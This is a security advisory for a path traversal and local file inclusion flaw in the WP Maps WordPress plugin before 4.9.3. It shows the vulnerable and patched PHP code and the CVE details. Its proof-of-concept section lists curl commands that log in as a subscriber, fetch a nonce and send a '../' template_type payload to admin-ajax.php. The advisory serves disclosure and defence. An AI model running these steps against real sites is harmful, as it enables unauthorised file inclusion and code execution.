- Product
- WP Maps (WordPress plugin)
- Versions
- Before 4.9.3 · fixed in 4.9.3
- Severity
- HighCVSS score 7.5 · WPScan
- CVE
- CVE-2026-6381, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on May 18, 2026
Description
The WP Maps WordPress plugin before 4.9.3 does not properly sanitize a parameter before using it in a file path, allowing authenticated users to perform Local File Inclusion attacks.
From the CVE record · CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Technical analysis
fc_load_template() reduces template_name with sanitize_file_name(), but passes template_type only through sanitize_text_field(), which does not remove slashes or '../' sequences. template_type is concatenated into $layout_file beneath the plugin's templates/ directory and the resulting path is handed to include_once with no check that it still points inside that directory. A crafted template_type can therefore redirect the include to a file elsewhere on disk, and because include_once is used, that file is executed as PHP rather than read as data.
$template = sanitize_file_name($data['template_name']);
$template_type = sanitize_text_field($data['template_type']);
if ( isset( $data['template_name'] ) ) {
$layout_file = $core_dir_path . 'templates/' . $template_type . '/' . $template . '/' . $template . '.html';
$layout_url = $core_dir_url . 'templates/' . $template_type . '/' . $template . '/' . $template . '.html';
ob_start();
include_once $layout_file;
$content = ob_get_contents();
ob_clean();
}
4.9.3 runs template_type through sanitize_key() and rejects the request unless it is exactly one of 'item', 'infowindow' or 'listing' (and unless template_name is nonempty) before any path is built.
// ✅ Validate inputs safely
$template = isset( $data['template_name'] ) ? sanitize_file_name( $data['template_name'] ) : '';
$template_type = isset( $data['template_type'] ) ? sanitize_key( $data['template_type'] ) : '';
// ✅ Whitelist allowed template types
$allowed_templates = array( 'item', 'infowindow', 'listing' );
if ( empty( $template ) || empty( $template_type ) || ! in_array( $template_type, $allowed_templates, true ) ) {
wp_send_json_error( array( 'message' => 'Invalid template request' ) );
}
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on April 27, 2026.
Send a POST request to: /wp-admin/admin-ajax.php
# Step 1: Login as subscriber
curl -s -c cookies.txt -b cookies.txt http://TARGET/wp-login.php -d "log=subscriber&pwd=PASSWORD" -L -o /dev/null
# Step 2: Get nonce from map page
NONCE=$(curl -s -b cookies.txt http://TARGET/map-page/ | grep -oP ""nonce":"\K[^"]+")
# Step 3: Path traversal via template_type (sanitize_text_field preserves ../)
curl -s -b cookies.txt http://TARGET/wp-admin/admin-ajax.php -d "action=core_templates&nonce=$NONCE" --data-urlencode "template_type=item/../infowindow" --data-urlencode "template_name=default"
# Returns infowindow/default/default.html content instead of item/default/default.html
# Proves ../ traversal bypasses intended directory scope
Cookie: wordpress_logged_in_HASH=subscriber_cookieSeverity
WPScan rates it 7.5 (high). CISA’s ADP scores it 7.5 (high) in the CVE record.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HCISA ADP
Remediation
Update WP Maps to 4.9.3 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3508847).
- Version 4.9.3 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.